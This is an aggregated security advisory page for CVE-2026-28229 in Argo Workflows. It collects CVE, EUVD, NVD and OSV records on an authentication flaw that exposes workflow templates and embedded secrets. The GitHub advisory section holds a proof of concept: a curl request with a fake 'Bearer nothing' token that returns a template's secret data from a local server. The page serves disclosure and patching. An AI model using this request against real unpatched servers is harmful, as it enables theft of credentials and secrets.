GHSA-56px-hm34-xqj5Published

Argo Workflows has unauthorized access to Argo Workflows Template

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cve-program · CVE-2026-28229

Published

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. This vulnerability is fixed in 4.0.2 and 3.7.11.

Source published: 11 Mar 2026 15:37:47 UTC
Source modified: 15 Jul 2026 01:11:58 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

euvd · EUVD-2026-11196

Published

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 11, 2026, 3:37:47 PM

dateUpdated: Jul 15, 2026, 1:11:58 AM

1 related source bulletins · separate from aliases

RHSA-2026:10184: Red Hat Security Advisory: RHOAI 2.25.5 - Red Hat OpenShift AI

CVE-2025-6242 · CVE-2025-11157 · CVE-2025-12103 · CVE-2025-14009 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-66418 · CVE-2025-66471 · CVE-2025-68131 · CVE-2025-69223 · CVE-2025-69227 · CVE-2025-69228 · CVE-2025-69534 · CVE-2026-0846 · CVE-2026-0847 · CVE-2026-1002 · CVE-2026-2472 · CVE-2026-2492 · CVE-2026-21441 · CVE-2026-22773 · CVE-2026-22807 · CVE-2026-24049 · CVE-2026-24281 · CVE-2026-24308 · CVE-2026-24486 · CVE-2026-24779 · CVE-2026-25223 · CVE-2026-25639 · CVE-2026-25679 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27137 · CVE-2026-27628 · CVE-2026-27888 · CVE-2026-27904 · CVE-2026-27959 · CVE-2026-28229 · CVE-2026-28356 · CVE-2026-30922 · CVE-2026-31837 · CVE-2026-31892 · CVE-2026-31958 · CVE-2026-32274 · CVE-2026-32597 · CVE-2026-32640 · CVE-2026-33236 · CVE-2026-33870 · CVE-2026-33871

Source published: Mar 11, 2026, 3:37:47 PM (timezone not stated)
Source modified: Jul 15, 2026, 1:11:58 AM (timezone not stated)
Saved here: 15 Nov 2026 10:05:51 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd · CVE-2026-28229

Published

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-863 · CWE-306

Original publisher date fields

published: 2026-03-11T16:16:40.477

lastModified: 2026-07-15T02:19:13.550

1 source CPE criteria · context only

cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 11 Mar 2026 16:16:40 UTC
Source modified: 15 Jul 2026 02:19:13 UTC
Saved here: 25 Oct 2026 06:17:33 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

osv · GHSA-56px-hm34-xqj5

Published

### Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests. ### Details https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72 Informers use the server’s rest config, so they read using server SA privileges. https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46 ### PoC 1. Create template ```yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ= ``` Then apply that with `kubectl apply -f poc.yml` 2. Query Argo Server with a fake token **Result:** ```cmd > kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created > curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}} ``` ### Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

Source published: 11 Mar 2026 14:49:37 UTC
Source modified: 10 Sep 2026 03:50:37 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH

osv · GO-2026-4678

Published

Unauthorized access to Argo Workflows Template in github.com/argoproj/argo-workflows

Source published: 12 Mar 2026 20:57:37 UTC
Source modified: 23 Mar 2026 04:56:21 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.